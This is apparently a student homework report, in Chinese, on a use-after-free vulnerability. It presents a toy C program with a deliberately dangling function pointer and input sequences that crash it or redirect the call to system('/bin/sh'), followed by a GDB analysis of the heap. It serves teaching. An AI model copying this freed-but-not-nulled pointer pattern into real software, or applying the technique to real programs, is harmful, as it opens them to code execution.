【作业2】Heap漏洞分析

唐亚周 519021910804

> 设计一个含有double free 或 UAF 漏洞的程序，攻击该程序，并使用调试工具解析攻击原理。

1 设计程序

这里我参考了网上的博客[1]和老师 PPT 上的示例代码，设计了如下的程序。

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef void (*func_ptr)(char*);

void evil_fuc(char command[]) { system(command); }

void echo(char content[]) { printf("%s", content); }

func_ptr* echoFunc;
func_ptr* evilFun;

int main(int argc, char** argv)
{
    char line[128];

    while (1) {
        printf("[ echoFunc = %p, evilFun = %p ]\n", echoFunc, evilFun);
        if (fgets(line, sizeof(line), stdin) == NULL) {
            break;
        }

        if (strncmp(line, "setEcho", 7) == 0) {
            echoFunc = (func_ptr*)malloc(sizeof(func_ptr));
            memset(echoFunc, 0, sizeof(func_ptr));
            *echoFunc = echo;
        }
        if (strncmp(line, "setEvil", 7) == 0) {
            evilFun = (func_ptr*)malloc(sizeof(func_ptr));
            memset(evilFun, 0, sizeof(func_ptr));
            *evilFun = evil_fuc;
        }
        if (strncmp(line, "delEcho", 7) == 0) {
            free(echoFunc);
        }
        if (strncmp(line, "callEcho ", 9) == 0) {
            if (echoFunc) {
```

```
                (*echoFunc)(line + 9);
            } else {
                printf("echoFunc is NULL\n");
            }
        }
    }
}
```

2 攻击漏洞

可以通过以下两种方式来攻击。

1. 依次输出如下指令，预计会输出 `echoFunc is NULL`，实际上会产生 segmentation fault。

```
setEcho
callEcho hello world
delEcho
callEcho hello again
```

运行结果如下：

```
 /mnt/D/SJ/3-Junior-2/I/SysSec-hw/hw2 ./prog
[ echoFunc = (nil), evilFun = (nil) ]
setEcho
[ echoFunc = 0x558917700ac0, evilFun = (nil) ]
callEcho hello world
hello world
[ echoFunc = 0x558917700ac0, evilFun = (nil) ]
delEcho
[ echoFunc = 0x558917700ac0, evilFun = (nil) ]
callEcho hello again
zsh: segmentation fault (core dumped)  ./prog
```

2. 依次输出如下指令，预计会输出 `echoFunc is NULL`，实际上会运行 `system("/bin/sh")`。

```
setEcho
callEcho hello world
delEcho
setEvil
callEcho /bin/sh
```

运行结果如下：

```
 /mnt/D/SJ/3-Junior-2/I/SysSec-h/hw2 ./prog
[ echoFunc = (nil), evilFun = (nil) ]
setEcho
[ echoFunc = 0x55ac9f52dac0, evilFun = (nil) ]
callEcho hello world
hello world
[ echoFunc = 0x55ac9f52dac0, evilFun = (nil) ]
delEcho
[ echoFunc = 0x55ac9f52dac0, evilFun = (nil) ]
setEvil
[ echoFunc = 0x55ac9f52dac0, evilFun = 0x55ac9f52dac0 ]
callEcho /bin/sh
sh-5.1$ exit
exit
[ echoFunc = 0x55ac9f52dac0, evilFun = 0x55ac9f52dac0 ]
^C
```

3 分析攻击原理

这里我使用 GDB 进行分析，具体分析步骤参考了课上播放的视频。[2]

1. 首先在 GDB 中运行一次程序，再将其反汇编以得到正确的逻辑地址。[3] 然后在原程序 19 行的 `printf` 语句对应的地址 `0x0000555555555245` 上打上断点。

```
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00005555555551fe <+0>:     push   rbp
   0x00005555555551ff <+1>:     mov    rbp,rsp
   0x0000555555555202 <+4>:     sub    rsp,0xa0
   0x0000555555555209 <+11>:    mov    DWORD PTR [rbp-0x94],edi
   0x000055555555520f <+17>:    mov    QWORD PTR [rbp-0xa0],rsi
   0x0000555555555216 <+24>:    mov    rax,QWORD PTR fs:0x28
   0x000055555555521f <+33>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000555555555223 <+37>:    xor    eax,eax
   0x0000555555555225 <+39>:    mov    rdx,QWORD PTR [rip+0x2e5c]        # 0x555555558088 <evilFunc>
   0x000055555555522c <+46>:    mov    rax,QWORD PTR [rip+0x2e4d]        # 0x555555558080 <echoFunc>
   0x0000555555555233 <+53>:    mov    rsi,rax
   0x0000555555555236 <+56>:    lea    rax,[rip+0xdd3]        # 0x555555556010
   0x000055555555523d <+63>:    mov    rdi,rax
   0x0000555555555240 <+66>:    mov    eax,0x0
   0x0000555555555245 <+71>:    call   0x555555555080 <printf@plt>
   0x000055555555524a <+76>:    mov    rdx,QWORD PTR [rip+0x2e1f]        # 0x555555558070 <stdin@GLIBC_2.2.5>
   0x0000555555555251 <+83>:    lea    rax,[rbp-0x90]
   0x0000555555555258 <+90>:    mov    esi,0x80
   0x000055555555525d <+95>:    mov    rdi,rax
   0x0000555555555260 <+98>:    call   0x5555555550a0 <fgets@plt>
```

```
gdb-peda$ b *0x0000555555555245
Breakpoint 1 at 0x555555555245: file prog.c, line 19.
```

2. 设置执行到该断点时的指令，用于调试。之所以从 `0x555555559ab0` 开始查看堆的信息，是因为在之前运行时，我发现第一次分配的堆地址为 `0x555555559ac0`。

```
gdb-peda$ commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>echo ------------------------------------------------------------\n
>x/50wx 0x555555559ab0
>echo --echoFunc-----------------------------------------------------\n
>print *echoFunc
>echo --evilFunc-----------------------------------------------------\n
>print *evilFunc
>echo ------------------------------------------------------------\n
>continue
>end
```

3. 不断 `continue` 进行调试。

   (a) 第一种攻击方式：

i. 首先 `setEcho`，可以看到在堆上 `0x555555559ac0` 处的值为 `0x5555555551d4`，即函数 `echo` 在内存上的地址。

```
gdb-peda$ c
Continuing.
[ echoFunc = (nil), evilFunc = (nil) ]
setEcho
------------------------------------------------------------------
0x555555559ab0: 0x00000000      0x00000000      0x00000021      0x00000000
0x555555559ac0: 0x555551d4      0x00005555      0x00000000      0x00000000
0x555555559ad0: 0x00000000      0x00000000      0x00020531      0x00000000
0x555555559ae0: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559af0: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b00: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b10: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b20: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b30: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b40: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b50: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b60: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b70: 0x00000000      0x00000000
--echoFunc------------------------------------------------------
$1 = (func_ptr) 0x5555555551d4 <echo>
--evilFunc------------------------------------------------------
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]


Breakpoint 1, 0x0000555555555245 in main (argc=0x1, argv=0x7fffffffdfa8) at prog.c:19
19              printf("[ echoFunc = %p, evilFunc = %p ]\n", echoFunc, evilFunc);
```

ii. 然后 `callEcho hello world`，正常输出了 `hello world`。

```
gdb-peda$ c
Continuing.
[ echoFunc = 0x555555559ac0, evilFunc = (nil) ]
callEcho hello world
hello world
------------------------------------------------------------------
0x555555559ab0: 0x00000000      0x00000000      0x00000021      0x00000000
0x555555559ac0: 0x555551d4      0x00005555      0x00000000      0x00000000
0x555555559ad0: 0x00000000      0x00000000      0x00020531      0x00000000
0x555555559ae0: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559af0: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b00: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b10: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b20: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b30: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b40: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b50: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b60: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b70: 0x00000000      0x00000000
--echoFunc------------------------------------------------------
$2 = (func_ptr) 0x5555555551d4 <echo>
--evilFunc------------------------------------------------------
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]


Breakpoint 1, 0x0000555555555245 in main (argc=0x1, argv=0x7fffffffdfa8) at prog.c:19
19              printf("[ echoFunc = %p, evilFunc = %p ]\n", echoFunc, evilFunc);
```

iii. 然后 `delEcho`，可以看到原属于 `echoFunc` 的内存地址上变成了别的值，但 `echoFunc` 仍然指向该地址。

```
gdb-peda$ c
Continuing.
[ echoFunc = 0x555555559ac0, evilFunc = (nil) ]
delEcho
------------------------------------------------------------------
0x555555559ab0: 0x00000000      0x00000000      0x00000021      0x00000000
0x555555559ac0: 0x55555559      0x00000005      0x19790f94      0x0a6d8909
0x555555559ad0: 0x00000000      0x00000000      0x00020531      0x00000000
0x555555559ae0: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559af0: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b00: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b10: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b20: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b30: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b40: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b50: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b60: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b70: 0x00000000      0x00000000
--echoFunc-----------------------------------------------------------
$3 = (func_ptr) 0x555555559
--evilFunc-----------------------------------------------------------
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]


Breakpoint 1, 0x0000555555555245 in main (argc=0x1, argv=0x7fffffffdfa8) at prog.c:19
19              printf("[ echoFunc = %p, evilFunc = %p ]\n", echoFunc, evilFunc);
```

iv. 最后再一次 `callEcho hello again`，由于该地址指向的值已经不是原来的函数，甚至不是一个可调用的函数，因此产生 `SIGSEGV` 错误。

(b) 第二种攻击方式：

i. 前三步与第一种攻击方式相同。

ii. 然后 `setEvil`，可以看到，原属于 `echoFunc` 的地址现在变成了 `evilFunc` 的地址，上面指向的值也变成了函数 `evil_fun` 的地址。

```
gdb-peda$ c
Continuing.
[ echoFunc = 0x555555559ac0, evilFunc = (nil) ]
setEvil
------------------------------------------------------------------
0x555555559ab0: 0x00000000      0x00000000      0x00000021      0x00000000
0x555555559ac0: 0x555551b9      0x00005555      0x00000000      0x00000000
0x555555559ad0: 0x00000000      0x00000000      0x00020531      0x00000000
0x555555559ae0: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559af0: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b00: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b10: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b20: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b30: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b40: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b50: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b60: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559b70: 0x00000000      0x00000000
--echoFunc-----------------------------------------------------------
$6 = (func_ptr) 0x5555555551b9 <evil_fuc>
--evilFunc-----------------------------------------------------------
$7 = (func_ptr) 0x5555555551b9 <evil_fuc>
------------------------------------------------------------------
```

iii. 最后 `callEcho /bin/sh`，由于该地址指向的值已经不是原来的函数 `echo`，而是新的函数 `evil_fun`，因此会调用该函数，运行 `/bin/sh`。

---

1. https://blog.csdn.net/qq_31481187/article/details/73612451 ↩

2. https://youtu.be/ZHghwsTRyzQ ↩

3. https://blog.csdn.net/Dontla/article/details/117562006 ↩